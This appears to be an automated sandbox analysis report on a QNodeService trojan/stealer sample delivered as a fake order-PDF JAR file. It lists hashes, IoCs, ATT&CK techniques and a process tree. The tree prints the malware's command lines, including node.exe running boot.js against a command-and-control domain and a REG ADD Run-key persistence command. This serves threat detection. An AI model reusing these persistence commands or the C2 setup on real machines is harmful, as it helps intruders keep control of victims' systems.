qnodeservice | 3ddba8c66f62ec8610e6b09f5ae35beef6daa0464c83d4220ce456a3ac392605

General

Target

Our New Order Oct 20 2020 at 2.30_PVV440_PDF.jar
Size

85KB
MD5

574cdc3953be5418190dbaca24caa3d1
SHA1

a8d4a7ac39799b8190ceb21ce057edb0c7b201cf
SHA256

3ddba8c66f62ec8610e6b09f5ae35beef6daa0464c83d4220ce456a3ac392605
SHA512

f90f9a0a0731e5c9b94997ac69824a04d3e8dd87cd1a3781797633160c55928c734fc327be986a1ad0bb3e8356376daa690b2b14f71e1a780365bc6163c5309b

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
200	node.exe
3176	node.exe
1580	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\2ccca201-8337-499c-9abf-f2b2c7da1308 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad40-169.dat	js
behavioral2/files/0x000100000001ad40-172.dat	js
behavioral2/files/0x000100000001ad40-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
200	node.exe
200	node.exe
200	node.exe
200	node.exe
3176	node.exe
3176	node.exe
3176	node.exe
3176	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe
1580	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3352 wrote to memory of 3288	3352	java.exe	76
PID 3352 wrote to memory of 3288	3352	java.exe	76
PID 3288 wrote to memory of 200	3288	javaw.exe	77
PID 3288 wrote to memory of 200	3288	javaw.exe	77
PID 200 wrote to memory of 3176	200	node.exe	79
PID 200 wrote to memory of 3176	200	node.exe	79
PID 3176 wrote to memory of 1580	3176	node.exe	80
PID 3176 wrote to memory of 1580	3176	node.exe	80
PID 1580 wrote to memory of 3892	1580	node.exe	82
PID 1580 wrote to memory of 3892	1580	node.exe	82
PID 3892 wrote to memory of 2592	3892	cmd.exe	83
PID 3892 wrote to memory of 2592	3892	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Our New Order Oct 20 2020 at 2.30_PVV440_PDF.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3352
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\958c0bd0.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:200
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Q36D6l\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3176
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Q36D6l\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2ccca201-8337-499c-9abf-f2b2c7da1308" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3892
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2ccca201-8337-499c-9abf-f2b2c7da1308" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/200-170-0x000002076B680000-0x000002076B681000-memory.dmp

Filesize
4KB

Download
memory/1580-177-0x00000303FDE00000-0x00000303FDE01000-memory.dmp

Filesize
4KB

Download
memory/3176-173-0x000003DE67880000-0x000003DE67881000-memory.dmp

Filesize
4KB

Download

Analysis

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